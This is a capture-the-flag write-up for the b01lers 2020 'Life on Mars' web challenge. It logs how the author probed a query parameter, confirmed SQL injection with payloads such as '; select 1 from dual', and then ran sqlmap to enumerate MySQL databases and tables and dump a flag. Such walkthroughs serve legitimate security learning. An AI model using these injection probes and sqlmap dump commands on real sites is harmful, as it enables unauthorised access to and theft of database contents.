

# b01lers 2020 Life on Mars

Saturday, March 7, 2020 12:16 PM

[http://web.ctf.b01lers.com:1001/query?search=amazonis\\_planitia,arabia\\_terra](http://web.ctf.b01lers.com:1001/query?search=amazonis_planitia,arabia_terra)

2

[http://web.ctf.b01lers.com:1001/query?search=amazonis\\_planitia,arabia\\_terra,hesperia\\_planum](http://web.ctf.b01lers.com:1001/query?search=amazonis_planitia,arabia_terra,hesperia_planum)

2

<http://web.ctf.b01lers.com:1001/query?search=x>

1

```
amazonis_planitia
olympus_mons
tharsis_rise
chryse_planitia
arabia_terra
noachis_terra
hellas_basin
utopia_basin
hesperia_planum
```

[http://web.ctf.b01lers.com:1001/query?search=a.\\$](http://web.ctf.b01lers.com:1001/query?search=a.$)

2

[http://web.ctf.b01lers.com:1001/query?search=a,\\$](http://web.ctf.b01lers.com:1001/query?search=a,$)

1

a.\$ a\_ a.<number> a.<letter> all give 2

any string repeated with a comma in the middle also gives a 2  
frog,frog zala,zala etc...

any two of the mars names separated by a comma also gives 2

I'm stuck on **\*\*mars\*\*** and am moving on. Here are my notes in case they help anyone:

```

1. [http://web.ctf.b01lers.com:1001/query?search=tharsis\\_rise](http://web.ctf.b01lers.com:1001/query?search=tharsis_rise) return JSON
  2. total of 9 mars terms that all return different json
  3. <http://web.ctf.b01lers.com:1001/query?search=gabrage> returns "1\n" (with a content-type of json)
  4. Some things return a "2\n"
- most strings repeated with a comma in-between (e.g. frog,frog blah,blah)
  - most strings with a single period inside of it (e.g. one.two)
  - any 2 of the mars names separated by a comma (e.g. amazonis\_planitia,arabia\_terra)```

<marsname><space><anytext> returns the JSON  
<marsname><space><anytext><space><anytext> does not

BUT:

[http://web.ctf.b01lers.com:1001/query?search=noachis\\_terra%20xy%20--%20x](http://web.ctf.b01lers.com:1001/query?search=noachis_terra%20xy%20--%20x)

returns the JSON

[http://web.ctf.b01lers.com:1001/query?search=amazonis\\_planitia%20amazonis\\_planitia;%20select%201%20from%20dual](http://web.ctf.b01lers.com:1001/query?search=amazonis_planitia%20amazonis_planitia;%20select%201%20from%20dual)

returns the JSON

but [http://web.ctf.b01lers.com:1001/query?search=amazonis\\_planitia%20amazonis\\_planitia;%20select%201%20from%20duaXl](http://web.ctf.b01lers.com:1001/query?search=amazonis_planitia%20amazonis_planitia;%20select%201%20from%20duaXl)

does not (dual vs. duaXl)

SO there is definitely some database stuff happening.

In Kali:

**sqlmap -u http://web.ctf.b01lers.com:1001/query?search=amazonis\_planitia**

says it is

[11:10:50] [INFO] the back-end DBMS is MySQL

I then found a tutorial on sqlmap and used it as follows:

**sqlmap -u http://web.ctf.b01lers.com:1001/query?search=amazonis\_planitia --tables**

[11:34:58] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL 5

[11:34:58] [INFO] fetching database names

[11:34:58] [INFO] fetching tables for databases: 'alien\_code,aliens,information\_schema'

Database: aliens

[9 tables]

```
+-----+
| amazonis_planitia      |
| arabia_terra           |
| chryse_planitia        |
| hellas_basin           |
| hesperia_planum        |
| noachis_terra          |
| olympus_mons           |
| tharsis_rise           |
| utopia_basin           |
+-----+
```

Database: alien\_code

[1 table]

|         |  |
|---------|--|
| +-----+ |  |
| code    |  |
| +-----+ |  |

Database: information\_schema

[61 tables]

|                                       |  |
|---------------------------------------|--|
| +-----+                               |  |
| CHARACTER_SETS                        |  |
| COLLATIONS                            |  |
| COLLATION_CHARACTER_SET_APPLICABILITY |  |
| COLUMNS                               |  |
| COLUMN_PRIVILEGES                     |  |
| ENGINES                               |  |
| EVENTS                                |  |
| FILES                                 |  |
| GLOBAL_STATUS                         |  |
| GLOBAL_VARIABLES                      |  |
| INNODB_BUFFER_PAGE                    |  |
| INNODB_BUFFER_PAGE_LRU                |  |
| INNODB_BUFFER_POOL_STATS              |  |
| INNODB_CMP                            |  |
| INNODB_CMPMEM                         |  |
| INNODB_CMPMEM_RESET                   |  |
| INNODB_CMP_PER_INDEX                  |  |
| INNODB_CMP_PER_INDEX_RESET            |  |
| INNODB_CMP_RESET                      |  |
| INNODB_FT_BEING_DELETED               |  |
| INNODB_FT_CONFIG                      |  |
| INNODB_FT_DEFAULT_STOPWORD            |  |
| INNODB_FT_DELETED                     |  |
| INNODB_FT_INDEX_CACHE                 |  |
| INNODB_FT_INDEX_TABLE                 |  |
| INNODB_LOCKS                          |  |
| INNODB_LOCK_WAITS                     |  |
| INNODB_METRICS                        |  |
| INNODB_SYS_COLUMNS                    |  |
| INNODB_SYS_DATAFILES                  |  |
| INNODB_SYS_FIELDS                     |  |
| INNODB_SYS_FOREIGN                    |  |
| INNODB_SYS_FOREIGN_COLS               |  |
| INNODB_SYS_INDEXES                    |  |
| INNODB_SYS_TABLES                     |  |
| INNODB_SYS_TABLESPACES                |  |
| INNODB_SYS_TABLESTATS                 |  |
| INNODB_SYS_VIRTUAL                    |  |
| INNODB_TEMP_TABLE_INFO                |  |
| INNODB_TRX                            |  |
| KEY_COLUMN_USAGE                      |  |
| OPTIMIZER_TRACE                       |  |
| PARAMETERS                            |  |

```

| PARTITIONS          |
| PLUGINS             |
| PROCESSLIST         |
| PROFILING           |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES            |
| SCHEMATA            |
| SCHEMA_PRIVILEGES   |
| SESSION_STATUS      |
| SESSION_VARIABLES   |
| STATISTICS          |
| TABLES             |
| TABLESPACES        |
| TABLE_CONSTRAINTS  |
| TABLE_PRIVILEGES   |
| TRIGGERS            |
| USER_PRIVILEGES     |
| VIEWS               |
+-----+

```

**sqlmap -u http://web.ctf.b01lers.com:1001/query?search=amazonis\_planitia --tables -D alien\_code -T code --columns**

Database: alien\_code

[1 table]

```
+-----+
```

```
| code |
```

```
+-----+
```

[11:36:01] [INFO] fetching columns for table 'code' in database 'alien\_code'

Database: alien\_code

Table: code

[2 columns]

```
+-----+-----+
```

```
| Column | Type      |
```

```
+-----+-----+
```

```
| code   | varchar(1000) |
```

```
| id     | smallint(6)   |
```

```
+-----+-----+
```

**sqlmap -u http://web.ctf.b01lers.com:1001/query?search=amazonis\_planitia --tables -D alien\_code -T code -C code,id --dump**

[11:37:22] [INFO] fetching entries of column(s) 'code,id' for table 'code' in database 'alien\_code'

Database: alien\_code

Table: code

[1 entry]

```
+-----+-----+
```

```
| code           | id |
```

```
+-----+-----+
```

| `pctf{no_intelligent_life_here}` | 0 |  
+-----+-----+